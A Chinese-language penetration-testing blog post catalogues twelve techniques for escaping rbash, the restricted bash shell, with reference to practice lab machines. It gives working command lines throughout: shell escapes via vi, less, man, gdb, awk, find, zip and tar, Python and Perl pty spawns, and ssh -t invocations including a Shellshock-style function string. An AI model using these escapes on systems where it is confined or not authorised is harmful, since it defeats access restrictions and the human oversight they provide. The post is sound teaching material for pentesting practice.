【渗透测试】rbash逃逸的12种方式

简述

什么是rbash?

rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行

如何设置?

useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

为rbash逃逸做信息收集

1、枚举环境变量

执行envprintenv命令来查看当前的环境变量设置。特别是PATHSHELL变量,它们可能影响到命令的查找和执行。

image-20240821104842115

2、检查可用应用和服务

文本编辑器:如vivimnano等,这些编辑器有时候允许用户执行系统命令。

其他系统工具:如ftpmorelessman等,这些工具在特定情况下也可用于执行命令逃逸

调试工具:如gdb,在某些配置下可能允许用户执行任意代码

3、枚举可用的命令和操作符

命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如lscatecho等),以及可能未被禁用的系统命令。

操作符枚举:尝试使用重定向操作符(如>>><等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。

4、检查可用编程语言

python  perl  ruby  php  java等

5、用户和sudo权限

用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。

sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。

常见的逃逸技术

1、”/“字符

如果/字符被允许我们可以直接运行:/bin/bash

2、cp命令

可以直接赋值/bin/bash或者passwd中root的终端目录直接运行

cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh

图例

3、常见的应用

探测系统中是否存在常见应用

  1. FTP,GDB(调试程序的工具)等。

    执行:ftp> !/bin/sh

    执行:gdb> !/bin/sh

  2. man / git

    执行:man > !/bin/sh

    执行:git > git help status

    image-20240821174423760

    image-20240821174408157

    image-20240821174330505

  3. vi / vim

vi test
:!/bin/sh # 利用vi/vim中可以执行命令的特点

image-20240821160030614

  1. more / less 同上操作
more test_file
!/bin/sh

4、set shell

在一些编辑器中可以设置shell变量然后执行,如vim中

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

比如DC-2靶机,文章参考-------

5、更改PATH或者Shell环境变量

export查看环境变量

image-20240821161547981

PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash

6、编程语言

语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:

python

python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"

image-20240821163721712

perl

perl -e "exec '/bin/sh';"

image-20240821163601957

ruby

exec "/bin/sh"

7、su命令

切换用户的时逃逸,这里的原理涉及到susu -的区别:

su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是root

image-20240821170518955

su -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了

image-20240821171138288

逃逸过程

su -l tw
su - tw
su --login tw

8、ssh登录逃逸

它的原理就是借助-t远程在远程机器上运行脚本

正常登录成功的样子

image-20240821173307732

逃逸成功的样子

image-20240821173242642

命令如下

ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"

注意使用bash --noprofile() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的

9、awk

超级玛丽靶机

awk 'BEGIN {system("/bin/sh")}'
    或
awk 'BEGIN {system("/bin/bash")}'

10、find

find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

11、zip

zip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"

12、tar

tar cf /dev/null  filename  --checkpoint=1 --checkpoint-action=exec=/bin/bash

总结

本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。


image-20240821152514635

posted @ 2024-09-18 15:14  白小雨  阅读(54)  评论(0编辑  收藏  举报